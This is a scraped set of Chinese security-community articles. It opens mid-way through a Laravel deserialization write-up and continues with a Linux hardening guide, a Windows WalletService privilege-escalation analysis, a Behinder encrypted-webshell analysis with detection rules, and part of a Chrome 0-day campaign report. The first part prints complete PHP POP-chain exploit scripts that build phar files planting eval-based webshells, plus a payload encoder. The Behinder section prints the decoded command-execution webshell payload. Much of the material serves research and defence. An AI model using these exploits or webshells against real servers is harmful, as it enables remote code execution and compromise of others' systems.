'Domain'=> "<?php phpinfo();eval(\$_POST[ricky]);?>",
'Expires'=>123,
'Value'=>123
]));
$phar = new Phar("ricky2.phar"); //生成phar文件
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a); //触发头是C1e4r类
$phar->addFromString("test.txt", "test"); //生成签名
$phar->stopBuffering();
}
按照上面的步骤执行 phar 反序列化在 public 目录下生成 shell, 即可执行
## POP链3
尝试直接命令执行的类, 有之前就出现在 laravel5 反序列化中的 `EvalLoader` 类, 建立 phar 反序列化
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events=$events;
$this->event=$event;
}
}
}
namespace Illuminate\Foundation\Console {
class QueuedCommand
{
public $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
public function __construct($queueResolver){
$this->queueResolver = $queueResolver;
}
}
}
namespace Mockery\Loader {
class EvalLoader {
}
}
namespace Mockery\Generator {
class MockDefinition {
protected $code;
protected $config;
public function __construct($code, $config) {
$this->code = $code;
$this->config = $config;
}
}
class MockConfiguration {
protected $name = "ricky";
}
}
namespace {
$d = new Mockery\Generator\MockDefinition('<?php phpinfo();exit()?>', new Mockery\Generator\MockConfiguration());
$c = new Illuminate\Foundation\Console\QueuedCommand($d);
$b = new Illuminate\Bus\Dispatcher([new Mockery\Loader\EvalLoader(), 'load']);
$a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
$phar = new Phar("ricky3.phar"); //生成phar文件
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a); //触发头是C1e4r类
$phar->addFromString("test.txt", "test"); //生成签名
$phar->stopBuffering();
}
然后依照上面的流程走一遍, 就可以达成命令执行的效果
## POP链4
全局搜索 `__destruct()`, 常用的有很多, 像是 `PendingBroadcast` 类,
`PendingResourceRegistration` 类还有 `ImportConfigurator` 类, 用于触发 `__call` 方法,
这次调用的是 Mock 类里面的 `generate()` 方法
# MockClass.php
public function generate(): string
{
if (!class_exists($this->mockName, false)) {
eval($this->classCode); # $this->classCode 可控
call_user_func(
[
$this->mockName,
'__phpunit_initConfigurableMethods',
],
...$this->configurableMethods
);
}
return $this->mockName;
}
# MockTrait.php
public function generate(): string
{
if (!class_exists($this->mockName, false)) {
eval($this->classCode);
}
return $this->mockName;
}
只需要使 `$mockName` 这个类不存在即可, 而且该参数可控, `$this->classCode` 也可控, 向上回溯找到调用 Mock
类的函数, 在 `Mockery/HigherOrderMessage.php` 的 `__call` 方法中
public function __call($method, $args)
{
if ($this->method === 'shouldNotHaveReceived') {
return $this->mock->{$this->method}($method, $args);
}
$expectation = $this->mock->{$this->method}($method); // 调用 mock 类
return $expectation->withArgs($args);
}
特别的凑巧, 我们也需要调用 `__call()` 方法, 所以一条 POP 链就形成了
class ImportConfigurator() -> __destruct()
↓↓↓
class HigherOrderMessage() -> __call()
↓↓↓
class MockClass() -> generate() 或者 class MockTrait() -> generate()
建立 exp.php, 生成 phar 文件调用 phpinfo
<?php
namespace Symfony\Component\Routing\Loader\Configurator {
class ImportConfigurator {
private $parent;
private $test;
public function __construct($parent) {
$this->parent = $parent;
$this->test = 'undefined';
}
}
}
namespace Mockery {
class HigherOrderMessage {
private $mock;
private $method;
public function __construct($mock) {
$this->mock = $mock;
$this->method = 'generate'; // 调用 mock 类的 generate 方法
}
}
}
namespace PHPUnit\Framework\MockObject {
class MockTrait {
private $classCode;
private $mockName;
public function __construct($classCode) {
$this->classCode = $classCode;
$this->mockName = 'undefined'; // 控制 $mockname 为不存在的类
}
}
}
namespace {
use Mockery\HigherOrderMessage;
use PHPUnit\Framework\MockObject\MockTrait;
use Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
$c = new MockTrait("phpinfo(); echo 'Ricky in serialize!'; eval(filter_input(INPUT_GET,\"ricky\"));");
$b = new HigherOrderMessage($c);
$a = new ImportConfigurator($b);
$phar = new Phar("ricky1.phar"); //生成phar文件
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a); //触发头是C1e4r类
$phar->addFromString("test.txt", "test"); //生成签名
$phar->stopBuffering();
}
不过测试了一下, 高版本的 `ImportConfigurator` 类会返回 `Cannot unserialize` 的提示, 那我们就用
`PendingResourceRegistration` 类
<?php
namespace Illuminate\Routing{
class PendingResourceRegistration{
protected $registrar;
protected $name;
protected $controller;
protected $options;
public function __construct($registrar, $name, $controller, $options)
{
$this->registrar = $registrar;
$this->name = $name;
$this->controller = $controller;
$this->options = $options;
}
}
}
namespace Mockery {
class HigherOrderMessage {
private $mock;
private $method;
public function __construct($mock) {
$this->mock = $mock;
$this->method = 'generate'; // 调用 mock 类的 generate 方法
}
}
}
namespace PHPUnit\Framework\MockObject {
class MockTrait {
private $classCode;
private $mockName;
public function __construct($classCode) {
$this->classCode = $classCode;
$this->mockName = 'undefined'; // 控制 $mockname 为不存在的类
}
}
}
namespace {
use Mockery\HigherOrderMessage;
use PHPUnit\Framework\MockObject\MockTrait;
use Illuminate\Routing\PendingResourceRegistration;
$c = new MockTrait("phpinfo(); echo 'Ricky in serialize!'; eval(filter_input(INPUT_GET,\"ricky\"));");
$b = new HigherOrderMessage($c);
$a = new PendingResourceRegistration($b, 'ricky', 'ricky', 'ricky');
$phar = new Phar("ricky1.phar"); //生成phar文件
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a); //触发头是C1e4r类
$phar->addFromString("test.txt", "test"); //生成签名
$phar->stopBuffering();
}
然后我们尝试建立一个新的 log 文件循环调用 phar 文件
$code = base64_encode(file_get_contents("./ricky1.phar"));
$c = new MockTrait("phpinfo(); echo 'Ricky in serialize!'; file_put_contents('/var/www/html/storage/logs/ricky.log',base64_decode('{$code}'));");
然后按照上面的步骤触发反序列化
然后触发我们的另一个 log 文件进行 phar 反序列化
这样就实现了循环调用的 shell
**疑点: phar完成转换后payload太长了能否截断上传?**
因为是 base64 字符, 首先至少要满足能被 4 整除, 然后再尝试上传拼接的 payload, 我就对了一个比较短的 exp 进行了二次分割上传,
发现截断应该是解码后产生了换行, 文件损坏了就无法执行 phar 反序列化了
如果网站有字数上传限制的话那么可能就无法成功执行
最后再附上一个可以将payload直接转换后写入文档的文件, 制作好以后就可以直接生成payload
<?php
function TransferPhar($file){
$endfile = fopen("phar.txt", "w");
$raw = base64_encode(file_get_contents($file));
$result = array();
for($i = 0; $i < strlen($raw); $i++){
$result[$i] = "=" . strtoupper(dechex(ord($raw[$i]))) . "=00";
}
fwrite($endfile, implode($result));
fclose($endfile);
}
TransferPhar('./ricky.phar');
## 小结
总结一下:
* 第一步做的是建立 log 文件, 也就是使 `file_get_contents()` 读取文件报错得到 log 文件
* 第二步是清空 log 文件, 通过报错上传我们的payload, 然后就是经过多个过滤器的篡改得到 phar 文件
* 第三步是执行 phar 反序列化拿到shell
总体来说 laravel 反序列化考的还是对 POP 链的挖掘, 这次的 CVE 相当于多了一个无形的反序列化点, 多个过滤器配合过滤也是十分巧妙,
也算是进一步对 laravel 框架有了个全面的了解.
感谢各位读者可以耐心地读到这里, 希望您对该漏洞有了更深刻的认识, 可能有还没汇总全的, 希望各位师傅踊跃提出! | 社区文章 |
# 【技术分享】Linux主机加固丨如何优雅的控制系统权限？
|
##### 译文声明
本文是翻译文章，文章来源：xmirror.cn
原文地址：<http://lab.xmirror.cn/atc/2017/09/15/404.html>
译文仅供参考，具体内容表达以及含义原文为准。
**综述**
在日常业务运维中，经常会受到权限的困扰，给多了就违背了最小权限原则，造成系统出现一些安全隐患，给少了业务又无法正常进行，下面我们来看看如何优雅的控制系统权限，保证系统安全。
**0x01修改应用版本信息**
修改应用版本信息虽然和权限无关，但对应用可以起到一定的保护作用，本节我们以tengine为例，来介绍如何修改应用的版本信息。其他apache等方法类似。
**1、修改配置文件隐藏版本信息**
配置文件nginx.conf中http段添加server_tokens off，但此方法只能隐藏版本号，服务信息还是可以看到的。
配置如下图所示。
**2、要想修改的彻底，可以通过修改源码进行隐藏，解压缩tar包，修改$BASE_DIR/src/core/nginx.h文件。**
修改前：
修改后：
编译过程这里不做介绍，编译后运行效果如下图所示，可以看到http头中服务和版本信息都已经修改。
**0x02构建受限的shell环境**
有时候我们想限制用户登录后的行为，让用户在一个受限的shell环境操作，这里我们介绍如何利用lshell来快速实现，lshell提供了一个针对每个用户可配置的限制性shell，配置文件非常的简单，可以很容易的严格限制用户可以访问哪些目录，可以使用哪些命令，同时可以对非法操作进行日志记录。
安装过程不做介绍，yum安装后配置文件路径为/etc/lshell.conf。
主要的配置项有logpath：配置日志路径、allowed：允许执行的命令、forbidden：禁止使用的字符或者命令、path：只允许访问的路径、env_vars：环境变量。
配置好后，修改你想要限制的用户shell，
chsh -s /usr/bin/lshell $USER_NAME
，或者vipw直接修改。日志目录需要手工创建并赋权。
配置如上图所示，只允许使用的命令为：ls、echo、cd、ll，只允许访问的路径为/home/tomcat/、/usr、/etc、/tmp、/opt。
在受限shell下进行操作，可以看到不允许的操作被禁止。
日志记录
应用场景可以有很多，大家根据自己的实际业务环境灵活应用。
注意： **千万不要把bash、sh等命令允许，一旦允许这些命令，该用户就可以逃逸出lshell的受限环境了。**
**0x03 linux ACL**
linux默认的3种 **基本权限(rwx)** 以及3种 **特殊权限 (suid,sgid,sticky)** 在平常情况下做适当调整即可，但是如果出现
**多个组多个用户** 情况下对某些文件或目录做权限配置就会发现不够分配，所以为了解决此类情况linux内核出现了 **acl（访问控制列表）**
模块来进行分层管理。
使用acl前要安装acl和libacl，查看系统是否支持acl，Linux默认是支持的。
dumpe2fs -h /dev/sda1|grep acl（根据自己磁盘情况更改）
开启分区的acl权限：
临时开启：mount –o remount,acl 磁盘分区，永久开启的话需要修改/etc/fstab
场景：某文件只允许属主和其他用户A访问（只读），其余用户都不允许访问。
假设A用户名为tomcat，改文件只允许属主root和其他用户tomcat访问（只读） 设置acl前，tomcat用户读取操作被拒绝。
设置acl后，tomcat用户可以读取，user1用户被拒绝。
**0x04 严格限制网络出入站规则**
在攻击场景中，攻击者通常在获取到一定权限后，会反弹shell进行交互式操作，严格限制出入站规则，可以对此攻击行为进行有效阻断。
通常情况下，我们对入站访问策略会进行严格的限制，但出站策略经常被忽略，这就使得攻击者反弹shell成为可能，这里我们介绍使用iptables进行有效限制。
iptables功能非常强大，大家可以仔细研究一下，有很多好玩的东西。
以上只一些简单的例子，抛个砖，引出一些思路，大家可以自由发挥，灵活应用，挖掘出更多好玩的东西。 | 社区文章 |
**作者：bybye@知道创宇404实验室
时间：2020年7月24日 **
### 漏洞背景
WalletService 服务是 windows 上用来持有钱包客户端所使用的对象的一个服务，只存在 windows 10 中。
CVE-2020-1362 是 WalletService 在处理 CustomProperty
对象的过程中出现了越界读写，此漏洞可以导致攻击者获得管理员权限，漏洞评级为高危。
微软在 2020 年 7 月更新对漏洞发布补丁。
### 环境搭建
1. 复现环境：windows 10 专业版 1909 （内部版本号 18363.815）
2. 设置 WalletService 服务启动类型为自动
3. 调试环境：windbg -psn WalletService 即可。
### 漏洞原理与分析
漏洞点是设置 CustomProperty 对象的 Group 的 get 方法和 set 方法没有检查边界。
1. get 方法的 a2 参数没有检查边界导致可以泄露堆上的一些地址。
2. set 方法的 a2 参数没有检查边界，可以覆盖到对象的虚表指针，从而控制程序流。
### 漏洞利用过程
#### 创建 CustomProperty 对象
WalletService 服务由 WalletService.dll 提供，WalletService.dll 实际上是一个动态链接库形式的 Com
组件，由 svchost.exe 加载。我们可以在自己写的程序（下面称为客户端）中使用 CoCreateInstance() 或者
CoGetClassObject() 等函数来创建对象，通过调用获得的对象的类方法来使用服务提供的功能。
如何创建出漏洞函数对应的对象呢？最简单的办法是下载 msdn 的符号表，然后看函数名。
我们想要创建出 CustomProperty 对象，ida
搜索一下，发现有两个创建该对象的函数：Wallet::WalletItem::CreateCustomProperty() 和
Wallet::WalletXItem::CreateCustomProperty()。
所以我们创建一个 CustomProperty 需要一个 WalletXItem 对象或者 WalletItem 对象，那么使用哪个呢？继续用 ida 搜索
CreateWalletItem 或者 CreateWalletXItem，会发现只有 CreateWalletItem。
那到这里我们需要一个 WalletX 对象，继续用 ida 搜索会发现找不到 CreateWalletX，但是如果搜索 WalletX，会发现有个
WalletXFactory::CreateInstance()，如果有过 Com 组件开发经验的同学就会知道，这个是个工厂类创建接口类的函数，上面提到的
CoCreateInstance() 函数会使 WalletService 调用这个函数来创建出接口类返回给客户端。
那么如何调用 WalletXFactory::CreateInstance() 并创建出 WalletX 对象呢？我们需要在客户端使用
CoCreateInstance() 。
HRESULT CoCreateInstance(
REFCLSID rclsid, // CLSID，用于找到工厂类
LPUNKNOWN pUnkOuter, // 设置为 NULL 即可
DWORD dwClsContext, // 设置为 CLSCTX_LOCAL_SERVER，一个宏
REFIID riid, // IID, 提供给工程类，用于创建接口类实例
LPVOID *ppv // 接口类实例指针的地址
);
1. 首先，我们需要 WalletXFactory 的 CLSID，可以使用 OLEViewDotNet 这个工具查看。
2. 其次，我们需要一个 WalletX 的 IID，这个可以用 ida 直接看 WalletXFactory::CreateInstance() 这个函数。
有了 WalletXFactory 的 CLSID 和 WalletX 的 IID，然后在客户端调用
CoCreateInstance()，WalletService 就会调用 CLSID 对应的工厂类 WalletXFactory 的
CreateInstance(), 创建出 IID 对应的 WalletX 对象，并返回对象给客户端。
然后按照上面的分析，使用 WalletX::CreateWalletItem() 创建出 WalletItem 对象，然后使用
WalletItem::CreateCustomProperty() 创建出 CustomProperty 对象。
对于上面的步骤有疑问的同学可以去学一学 Com 组件开发，尤其是进程外组件开发。
#### 伪造虚表，覆盖附表指针
由于同一个动态库，在不同的进程，它的加载基址也是一样的，我们可以知道所有dll里面的函数的地址，所以可以获得伪造的虚表里面的函数地址。
那么把虚表放哪里呢？直接想到的是放堆上。
但如果我们继续分析，会发现，CustomProperty 类里面有一个 string 对象，并且可以使用
CustomProperty::SetLabel() 对 string 类进行修改，所以，我们可以通过修改 string 类里面的 beg 指针 和 end
指针，然后调用 CustomProperty::SetLabel() 做到任意地址写。
有了任意地址写，我们选择把虚表放在 WalletService.dll 的 .data 节区，以避免放在堆上可能破坏堆上的数据导致程序崩溃。
#### 控制程序流到 LoadLibrary 函数
使用伪造 vtable 并覆盖虚表指针的办法，我们可以通过调用虚函数控制 WalletService 的程序流到任意地址了。
那么怎么提权呢？在 windows 服务提权中，通常的办法是把程序流控制到可以执行 LoadLibrary()
等函数来加载一个由我们自己编写的动态链接库，因为在加载 dll 的时候会执行 dll 里面的 DllMain()，这个方法是最强大的也是最实用的。
这里使用漏洞提交者的方法，把虚表的某个地址覆盖成 dxgi.dll 里面的 ATL::CComObject\::`vector deleting
destructor()，因为这个函数调用的 LoadLibraryExW() 会使用一个全局变量作为想要加载的 dll 的路径。
我们可以通过上面的 SetLabel() 进行任意地址写，修改上图的全局变量
Src，使其指向我们自己实现的动态链接库的路径，然后调用对应的虚表函数，使程序流执行到 LoadLibrarExW() 即可。
#### 实现一个动态链接库
在 DllMain() 里面写上我们希望以高权限执行代码，然后调用虚表里面对应的函数是 WalletService 的程序流运行到
LoadLibraryEx() 即可。
注意，因为 windows 服务运行在后台，所以需要在 DllMain() 里面使用命名管道或者 socket 等技术来进行回显或者交互，其次由于执行的是
LoadLibraryExW()，所以这里的 dll 路径要使用宽字符。
#### 其它
在控制虚表函数程序流到 LoadLibraryExW() 时，需要绕过下面两个 check。
第一个是需要设置 this+0x80 这个地址的值，使得下面的 and 操作为 true。
第二个是要调整 qword_C5E88 和 qword_C5E80 是下面的变量 v4 指向具有写权限的内存。
### 漏洞利用结果
可以获得管理员权限
### 补丁前后对比
可以看到，打了补丁之后，get 方法和 set 方法都对 a2 参数添加了边界检测。
### 参考链接
[1] [PoC链接](https://github.com/Q4n/CVE-2020-1362)
[2] [微软更新公告](https://portal.msrc.microsoft.com/zh-CN/security-guidance/advisory/CVE-2020-1362)
[3] [nvd漏洞评级](https://nvd.nist.gov/vuln/detail/CVE-2020-1362)
* * * | 社区文章 |
演练中，第一代webshell管理工具“菜刀”的攻击流量特征明显，容易被安全设备检测到，攻击方越来越少使用，加密webshell正变得越来越流行，由于流量加密，传统的WAF、WebIDS设备难以检测，给威胁监控带来较大挑战。这其中最出名就是“冰蝎”，“冰蝎”是一款动态二进制加密网站管理客户端，演练中给防守方造成很大困扰，本文将对“冰蝎”的加密原理、流量特征、检测方案进行探讨。
### 0x01 “冰蝎”介绍&加密原理
“冰蝎”项目地址：<https://github.com/rebeyond/Behinder>
“冰蝎”目前最新版本为v2.1，兼容性已经日益完善，加密不再依赖PHP
openssl扩展功能，同时支持了简单的ASP。主体功能方面包括虚拟终端、socks代理、文件管理、反弹shell、数据库管理等等，功能强大。
加密原理方面，以PHP环境为例，
[《利用动态二进制加密实现新型一句话木马之PHP篇》](https://xz.aliyun.com/t/2774)这篇文章对冰蝎的原理已经做了详细的分析，简要介绍一下加密流程：
* 首先客户端以Get形式发起带密码的握手请求，服务端产生随机密钥并写入Session。
* 客户端将源代码，如assert|eval("phpinfo();”)利用AES加密，发送至服务端，服务端收到之后先进行AES解密，得到中间结果字符串assert|eval("phpinfo();")。
* 服务端利用explode函数将拆分为一个字符串数据，索引为0的元素为字符串assert，索引为1的元素为字符串eval("phpinfo();")。
* 以可变函数方式调用索引为0的数组元素，参数为索引为1的数组元素，即为assert("eval(\"phpinfo;\")") 。
### 0x02 加密Webshell流量分析
通过wireshark进行抓包分析，流量如下：
按照流程，客户端首先get请求生产随机密钥，server返回生成的16位密钥：0x7037af5d95561f3d，对应的session ID为
466geshjq6hr15kbmd72ju24g5。
得到密钥后，客户端对需要执行的命令进行AES加密，加密后的通讯流量如下，没有任何攻击特征，安全设备难以根据特征进行检测：
我们用密钥对该信息进行解密：
发现解密后执行的命令被base64编码了，进一步进行base64解码后，得到执行的命令如下：
@error_reporting(0);
function getSafeStr($str){
$s1 = iconv('utf-8','gbk//IGNORE',$str);
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
if($s0 == $str){
return $s0;
}else{
return iconv('gbk','utf-8//IGNORE',$str);
}
}
function main($cmd)
{
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
$result = array();
$PadtJn = @ini_get('disable_functions');
if (! empty($PadtJn)) {
$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
$PadtJn = explode(',', $PadtJn);
$PadtJn = array_map('trim', $PadtJn);
} else {
$PadtJn = array();
}
$c = $cmd;
if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
$c = $c . " 2>&1\n";
}
$JueQDBH = 'is_callable';
$Bvce = 'in_array';
if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
ob_start();
system($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
$handle = proc_open($c, array(
array(
'pipe',
'r'
),
array(
'pipe',
'w'
),
array(
'pipe',
'w'
)
), $pipes);
$kWJW = NULL;
while (! feof($pipes[1])) {
$kWJW .= fread($pipes[1], 1024);
}
@proc_close($handle);
} else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
ob_start();
passthru($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
$kWJW = shell_exec($c);
} else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
$kWJW = array();
exec($c, $kWJW);
$kWJW = join(chr(10), $kWJW) . chr(10);
} else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
$fp = popen($c, 'r');
$kWJW = NULL;
if (is_resource($fp)) {
while (! feof($fp)) {
$kWJW .= fread($fp, 1024);
}
}
@pclose($fp);
} else {
$kWJW = 0;
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
$key = $_SESSION['k'];
echo encrypt(json_encode($result), $key);
return;
}
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(getSafeStr($kWJW));
echo encrypt(json_encode($result), $_SESSION['k']);
}
function encrypt($data,$key)
{
if(!extension_loaded('openssl'))
{
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else
{
return openssl_encrypt($data, "AES128", $key);
}
}$cmd="pwd";
main($cmd);
可以看到，经过一些列的处理，最终执行的命令是“pwd”，命令执行的结果保存在json串$result中，$result["status"]
表示命令是否执行成功，$result["msg"]表示命令执行的结果。冰蝎对执行的返回结果$result也进行了加密，加密方式也是采用的AES（如果php没有开启openssl扩展，在采用明文和密钥逐位异或进行加密），密钥也是利用第一步随机get产生的密钥。
### 0x03 检测思路
检测思路可以从流量、应用、主机三个层面入手。
**思路一：流量侧**
（1）虽然冰蝎的通讯流量都是加密的，但是在第一步，冰蝎必须需要获得密钥，具体流量特征：
1、 **是一个get请求** ，url中带上参数?pass（参数名称可变）
对应的检测正则表达式：
/[\w.]*.[a-zA-Z]{3,4}\?\w{0,20}=\d{0,10}
由于该请求特征不明显，此正则会产生较多误报。
2、 **返回包状态码为200，返回内容必定是16位的密钥**
对应的检测正则表达式：
^[a-fA-F0-9]{16}$
返回包特征相对明显，针对这一特征可以在WebIDS、全流量检测等安全设备中对返回包制定相应的特征检测规则。
（2）按照kill-chain的模型，除了在webshell通信的时候进行检测，也可以在上传webshell时（即载荷投递阶段）进行检测，对冰蝎的webshell木马文件特征定制特定的检测规则。以php
webshell木马为例，webshell中包含了openssl_decrypt、base64、eval等关键字，可以在WAF、WebIDS、流量检测等安全设备中定制相应的关键字进行检测。
（3）安全厂商方面，越来越多的安全厂商也正在升级检测规则，支持对冰蝎的检测，检测效果需要进一步测试。
基于流量的检测不可避免的可能会产生误报的问题，需要结合企业业务实际流量进行调整；同时，冰蝎也可以进一步升级来规避这些特征，单单利用流量来进行检测难以到达完全的检测效果。
**思路二：应用侧——OpenRASP检测**
**1、什么是OpenRASP？**
随着Web应用攻击手段变得复杂，基于请求特征的防护手段，已经不能满足企业安全防护需求。Gartner在2014年提出了应用自我保护技术（RASP）的概念，即将防护引擎嵌入到应用内部，不再依赖外部防护设备。OpenRASP是该技术的开源实现，可以在不依赖请求特征的情况下，准确的识别代码注入、反序列化等应用异常，很好的弥补了传统设备防护滞后的问题。更多细节，请参考[《OpenRASP
最佳实践》](https://rasp.baidu.com/download/OpenRASP%20Internals.pdf?from=header)
**2、RASP 技术和现有方案主要区别**
首先，RASP 几乎没有误报情况。边界设备基于请求特征检测攻击，通常无法得知攻击是否成功。
对于扫描器的踩点行为、nday 扫描，一般会产生大量报警。RASP 运行在应用内部，失败的攻击不
会触发检测逻辑，所以每条攻击都是成功的报警。
其次，RASP 可以发现更多攻击。以SQL注入为例，边界设备只能看到请求信息。RASP 不但能够
看到请求信息，还能看到完整的SQL语句，并进行关联。如果SQL注入让服务器产生了语法错误或
者其他异常，RASP引擎也能够识别和处理。
最后，RASP 可以对抗未知漏洞。发生攻击时，边界防护设备无法掌握应用下一步的动向。RASP
技术可以识别出异常的程序逻辑，比如反序列化漏洞导致的命令执行，因此可以对抗未知漏洞。
**3、OpenRASP 部署**
目前，OpenRASP 支持 Java 和 PHP
两种开发语言，具体安装教程请参考：<https://rasp.baidu.com/doc/install/main.html>
以PHP为例，应用安装成功后，会在返回包头中添加X-Protected-By：OpenRASP字段，如下图所示：
此时，我们再次利用冰蝎进行命令执行操作，发现OpenRASP的检测引擎已经完美发现加密流量，并检测出执行的命令“whoami”。
虽然OpenRASP有很多优势，可以准确检测出一些未知漏洞，但是由于其本身的实现也存在一些问题使其在大规模推广还有一定难度。比如RASP对应用侵入过大、angent的安装可能对系统性能的影响、企业大规模部署运维的压力等等。
**思路三：主机侧**
**（1）定期对服务器进行webshell文件扫描查杀**
这里用D盾、河马和OpenRASP团队开发的下一代WebShell检测引擎[webdir+](https://scanner.baidu.com/#/pages/intro)进行测试，检测结果都比较一般。
其中，D盾、河马只检测出了早期冰蝎v1.2版本中的PHP webshell文件，未检测出jsp、asp 等webshell，检出比只有20%。
而对于冰蝎v2.1的webshell，D盾、河马都完全没有检测出来，检出比为0。
只有webdir+检测出了冰蝎v2.1的3个webshell文件，检出比为60%，可见冰蝎的免杀做得很不错。
同时，定期的webshell文件扫描也存在时效性差的问题，攻击方拿到shell后，也会对webshell进行痕迹清理，所以这种方式检测效果也有限。
**（2）Linux audit日志检测**
虽然冰蝎通讯流量是加密的，但落到主机侧，还是会调用系统命令，所以可以在主机审计日志层面定制检测规则，监控冰蝎对系统命令的调用。Linux审计系统提供了一种跟踪系统上与安全相关的信息的方法。基于预先配置的规则，审核生成日志条目以记录尽可能多的关于系统上发生的事件信息，参考[《另类WebShell监测机制–基于auditd》](https://www.secpulse.com/archives/62113.html)思路。
以root身份执行如下命令，可实现对执行系统命令这一个SYSCALL行为的监控审计。
auditctl -D # 用于测试，清除已有规则
auditctl -a always,exit -F arch=b64 -S execve -k rule01_exec_command
上述命令在系统审计规则中增加了一条监控调用命令执行监控规则，并且定义规则名为rule01_exec_command。
在冰蝎中执行命令whoami，在Linux审计日志中发现记录：
type=SYSCALL：日志规则“rule01_exec_command”被触发，uid=33的用户，通过父进程ppid=597，调用/usr/bin/bash，执行了命令sh，进程pid=8380。
type=SYSCALL和type=EXECVE都能看到执行的程序名称和参数。
type=CWD则说明了，命令执行所在的目录cwd="/var/www/html"。
一般cwd在web目下的，又执行了系统命令，则这个行为是比较可疑的。
当然基于审计日志的检测思路也存在一定问题，包括：合理配置auditd的运行参数，准确评估审计功能对系统性能的影响；如何主动识别Web进程和Web目录信息；如何实时收集操作系统进程和进程PID等信息；如何关联分析Web访问日志；
Windows平台是否有同样的检测机制等等。
### 0x04 总结
随着攻防对抗的不断升级，攻击方的手段越来越隐蔽，很多攻击流量都会进行加密，给防守方带来了较大挑战，相信后续对加密攻击流量检测的研究也会越来越多。本文对加密webshell“冰蝎”的加密原理进行了分析，在流量侧检测、应用侧检测、主机层检测方面提出了检测思路。各个层面的检测各有利弊，都难以仅仅依靠一种手段解决所有问题。按照纵深防御的思想，企业需要部署多层次的防护，合理运用各种技术的特点，从而达到多层次、多技术的防御互补的效果，进而防止一处防御失效后被全局突破。同时，在各个防御手段部署后，企业还需要持续不断的进行安全运营，发挥防御设备最大功效，构建合适自身的安全防御体系，才能不断提升企业的安全防护水平，才能应对日益严峻的网络安全形势。 | 社区文章 |
# 网络战：利用Chrome 0day的巫师行动（CVE-2019-13720）
|
##### 译文声明
本文是翻译文章，文章原作者 securelist，文章来源：securelist.com
原文地址：<https://securelist.com/chrome-0-day-exploit-cve-2019-13720-used-in-operation-wizardopium/94866/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
最近Kaspersky Exploit Prevention成功检测到一系列0-day攻击，其中攻击者利用了Google
Chrome浏览器中的一个未公开漏洞。我们第一时间向Google
Chrome安全团队报告了该漏洞，Google在审核我们提供的PoC后，确认这是一个0-day漏洞，分配的漏洞编号为CVE-2019-13720。Google为Windows、Mac及Linux发布了新版的Chrome（78.0.3904.87），我们建议用户尽快升级到该版本。这里大家可以参考Google公布的[安全公告](https://chromereleases.googleblog.com/2019/10/stable-channel-update-for-desktop_31.html)。
Kaspersky将此次攻击标记为`Exploit.Win32.Generic`。
我们将这些攻击行动称之为“Operation
WizardOpium”，目前我们还无法将其与已知的攻击组织关联起来。此次攻击与Lazaru（拉撒路）攻击在代码上有较弱的相似性，但这可能是一种假阳性关联。目标网站在配置上与之前的[DarkHotel](https://securelist.com/the-darkhotel-apt/66779/)攻击行动关联性更强，而DarkHotel攻击者最近也采取了类似的虚假攻击特征。
## 0x01 技术细节
此次攻击行动在韩语新闻门户网站上采用了水坑式注入技术，攻击者将恶意JavaScript代码插入主页面，恶意代码随后会从远程网站上加载配置脚本。
图1. 重定向到漏洞利用页面
主页面上托管着一个小型JavaScript标签，可以从`hxxp://code.jquery.cdn.behindcorona[.]com/`处加载远程脚本。
该脚本随后会加载名为`.charlie.XXXXXXXX.js`的另一个脚本，这个JavaScript脚本会对比浏览器的user-agent信息，判断浏览器是否运行在64位的Windows系统上，并且不以`WOW64`进程运行，以检查受害者系统是否能被成功感染。此外，该脚本还会尝试提取浏览器的名称及版本。攻击者想利用的是Google
Chrome浏览器中的一个bug，需要通过该脚本判断浏览器版本号是否大于或等于65（目前的Chrome版本号为78）。
图2. 脚本（`.charlie.XXXXXXXX.js`）检查Chrome版本
如果浏览器版本满足条件，该脚本会向攻击者控制的服务器（`behindcorona[.]com`）发起一系列AJAX请求，其中路径名以参数形式传入目标脚本（`xxxxxxx.php`）。第一个请求用来获取某些重要的信息，以便后续利用。该信息包括若干个经过十六进制编码的字符串，指导脚本需要从服务端下载多少块（chunk）漏洞利用代码，字符串中也包含指向某个图像文件的URL，该文件中包含最终payload的秘钥以及用来解密利用代码chunk的RC4秘钥。
图3. 利用链：向`xxxxxxx.php`发起AJAX请求
下载所有chunk后，RC4脚本会解密并将所有数据拼接在一起，这样攻击者就能构造出一个新的JavaScript代码，其中包含完整的浏览器漏洞利用代码。攻击者在payload解密过程中使用了之前提取到的RC4秘钥。
图4. 再次检查版本号
浏览器漏洞利用脚本经过混淆处理，去混淆后，我们观察到了一些有趣的信息：
1、脚本会再次检查user
agent字符串，这一次要检查浏览器版本是否等于76或者77。这意味着漏洞利用代码只适用于这些版本（前面检查的是版本号大于或等于65），或者其他利用技术之前已在老版本的Chrome上使用过。
图5. 经过混淆的利用代码
